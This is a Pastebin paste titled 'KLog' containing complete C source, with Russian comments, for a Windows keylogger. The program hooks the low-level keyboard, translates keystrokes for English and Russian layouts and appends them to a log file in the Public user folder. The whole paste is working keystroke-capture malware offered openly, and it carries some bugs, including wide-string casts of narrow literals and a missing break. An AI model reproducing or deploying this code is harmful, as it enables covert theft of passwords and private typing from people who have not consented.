Advertisement
melnikovmaxim

KLog

Jan 9th, 2020
997
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include <Windows.h>
  2. //#include <Winuser.h> //всё, кроме WinMain держится на этом
  3. #include <malloc.h>
  4. #include <locale.h>
  5. #include <string.h>
  6. #include <stdio.h>
  7. //Видео тут: https://youtu.be/IHSrJuSCjeA
  8. #define SIZE_STR 1 << 8
  9. #define PATH L"C:\\Users\\Public\\key.log"
  10. #define RUS 0x0419
  11. #define ENG 0x0409
  12.  
  13. BOOL IsCaps(void);
  14. LRESULT CALLBACK LogKey(int iCode, WPARAM wParam, LPARAM lParam);
  15. VOID WriteToFile(LPWSTR wstr);
  16.  
  17. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nCmdShow)
  18. {
  19.     HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL,
  20.         LogKey, NULL, NULL);
  21.  
  22.     MSG msg = { 0 };
  23.     while (GetMessage(&msg, NULL, 0, 0))
  24.     {
  25.         TranslateMessage(&msg);
  26.         DispatchMessage(&msg);
  27.     }
  28.  
  29.     UnhookWindowsHookEx(hHook);
  30.  
  31.     return 0;
  32. }
  33.  
  34. BOOL IsCaps(void)
  35. {
  36.     //GetKeyState используеться в основном для определения состояния нажатия системной кнопки
  37.     //VK - Virtual Key
  38.     if ((GetKeyState(VK_CAPITAL) & 0x0001) != 0 ^
  39.         (GetKeyState(VK_SHIFT) & 0x8000) != 0)
  40.         return TRUE;
  41.     return FALSE;
  42. }
  43.  
  44. LRESULT CALLBACK LogKey(int iCode, WPARAM wParam, LPARAM lParam)
  45. {
  46.     _wsetlocale(LC_ALL, L".866");
  47.     if (wParam == WM_KEYDOWN)
  48.     {
  49.         PKBDLLHOOKSTRUCT pHook = (PKBDLLHOOKSTRUCT)lParam;
  50.         DWORD iKey = MapVirtualKey(pHook->vkCode, NULL) << 16;
  51.         if (!(pHook->vkCode <= 1 << 5)) // 32
  52.             iKey |= 0x1 << 24; //Задаём истину для 24 бита
  53.         LPWSTR wstr = (LPWSTR)calloc(SIZE_STR + 1, sizeof(WCHAR));
  54.         GetKeyNameText(iKey, wstr, SIZE_STR);
  55.  
  56.         if (wcslen(wstr) > 1) //Если нажата не текстовая клавиша
  57.         {
  58.             WriteToFile((LPWSTR)"[");
  59.             WriteToFile(wstr);
  60.             WriteToFile((LPWSTR)"]");
  61.         }
  62.         else
  63.         {
  64.             if (IsCaps() == TRUE)
  65.             {
  66.                 switch (wstr[0])
  67.                 {
  68.                 case '1':
  69.                     WriteToFile((LPWSTR)"!");
  70.                     break;
  71.                 case '2':
  72.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  73.                         WriteToFile((LPWSTR)"@");
  74.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  75.                         WriteToFile((LPWSTR)"\"");
  76.                     break;
  77.                 case '3':
  78.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  79.                         WriteToFile((LPWSTR)"#");
  80.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  81.                         WriteToFile((LPWSTR)"№");
  82.                     break;
  83.                 case '4':
  84.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  85.                         WriteToFile((LPWSTR)"$");
  86.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  87.                         WriteToFile((LPWSTR)";");
  88.                     break;
  89.                 case '5':
  90.                     WriteToFile((LPWSTR)"%");
  91.                     break;
  92.                 case '6':
  93.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  94.                         WriteToFile((LPWSTR)"^");
  95.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  96.                         WriteToFile((LPWSTR)":");
  97.                 case '7':
  98.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  99.                         WriteToFile((LPWSTR)"&");
  100.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  101.                         WriteToFile((LPWSTR)"?");
  102.                     break;
  103.                 case '8':
  104.                     WriteToFile((LPWSTR)"*");
  105.                     break;
  106.                 case '9':
  107.                     WriteToFile((LPWSTR)"(");
  108.                     break;
  109.                 case '0':
  110.                     WriteToFile((LPWSTR)")");
  111.                     break;
  112.                 case '-':
  113.                     WriteToFile((LPWSTR)"_");
  114.                     break;
  115.                 case '=':
  116.                     WriteToFile((LPWSTR)"+");
  117.                     break;
  118.                 case '[':
  119.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  120.                         WriteToFile((LPWSTR)"{");
  121.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  122.                         WriteToFile((LPWSTR)"Х");
  123.                     break;
  124.                 case ']':
  125.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  126.                         WriteToFile((LPWSTR)"}");
  127.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  128.                         WriteToFile((LPWSTR)"Ъ");
  129.                     break;
  130.                 case ';':
  131.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  132.                         WriteToFile((LPWSTR)":");
  133.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  134.                         WriteToFile((LPWSTR)"Ж");
  135.                     break;
  136.                 case '\'':
  137.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  138.                         WriteToFile((LPWSTR)"\"");
  139.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  140.                         WriteToFile((LPWSTR)"Ж");
  141.                     break;
  142.                 case ',':
  143.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  144.                         WriteToFile((LPWSTR)"<");
  145.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  146.                         WriteToFile((LPWSTR)"Б");
  147.                     break;
  148.                 case '.':
  149.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  150.                         WriteToFile((LPWSTR)">");
  151.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  152.                         WriteToFile((LPWSTR)"Ю");
  153.                     break;
  154.                 case '/':
  155.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  156.                         WriteToFile((LPWSTR)"?");
  157.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  158.                         WriteToFile((LPWSTR)",");
  159.                     break;
  160.                 case '\\':
  161.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  162.                         WriteToFile((LPWSTR)"|");
  163.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  164.                         WriteToFile((LPWSTR)"/");
  165.                     break;
  166.                 case '`':
  167.                     if (LOWORD(GetKeyboardLayout(0)) == ENG)
  168.                         WriteToFile((LPWSTR)"~");
  169.                     else if (LOWORD(GetKeyboardLayout(0)) == RUS)
  170.                         WriteToFile((LPWSTR)"Ё");
  171.                     break;
  172.                 default:
  173.                     WriteToFile(wstr);
  174.                     break;
  175.                 }
  176.             }
  177.             else
  178.             {
  179.                 wstr[0] = tolower(wstr[0]);
  180.                 WriteToFile(wstr);
  181.             }
  182.         }
  183.         free(wstr);//!!!!
  184.     }
  185.     return CallNextHookEx(NULL, iCode, wParam, lParam);
  186. }
  187.  
  188. VOID WriteToFile(LPWSTR wstr)
  189. {
  190.     FILE* f = NULL;
  191.     if (!_wfopen_s(&f, PATH, L"ab"))
  192.     {
  193.         fwrite(wstr, sizeof(WCHAR), wcslen(wstr), f);
  194.         fclose(f);
  195.     }
  196. }
Advertisement
RAW Paste Data Copied
Advertisement